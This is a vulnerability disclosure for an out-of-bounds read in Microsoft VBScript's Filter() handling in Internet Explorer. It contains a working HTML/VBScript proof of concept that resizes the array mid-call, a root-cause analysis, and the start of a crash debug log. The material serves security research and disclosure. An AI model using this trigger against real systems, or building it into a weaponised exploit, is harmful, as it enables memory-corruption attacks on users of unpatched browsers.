VBScript – ‘rtFilter’ Out-of-Bounds Read
<!-- There is an out-of-bounds vulnerability in Microsoft VBScript. The vulnerability has been confirmed in Internet Explorer on Windows 7 with the latest patches applied. PoC: (Note that Page Heap might need to be enabled to observe the crash) =============================================================================== --> <!-- saved from url=(0016)http://localhost --> <meta http-equiv="x-ua-compatible" content="IE=10"> <script type="text/vbscript"> On Error Resume Next Class class1 Public Default Property Get x ReDim arr(1) End Property End Class set c = new class1 arr = Array("b", "b", "a", "a", c) Call Filter(arr, "a") </script> <!-- =============================================================================== Preliminary Analysis: The rtFilter function is called from VbsFilter when a Filter() function is invoked. The Filter() function takes an array of strings and a string as params and returns another array containing just those elements from the original array that contain the specified (sub)string. The issue is that the input array can be resized during the rtFilter call (by invoking a default getter on one of the input array members) and rtFilter fails to handle this case correctly. While rtFilter does implement some logic to determine if the input array has been resized, this logic fails to take into account elements of the input array that *do not match* the input string (Notice the "b" strings in the PoC and how the PoC would stop to work if those are all changed to "a"). Debug log: =============================================================================== (a04.604): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.
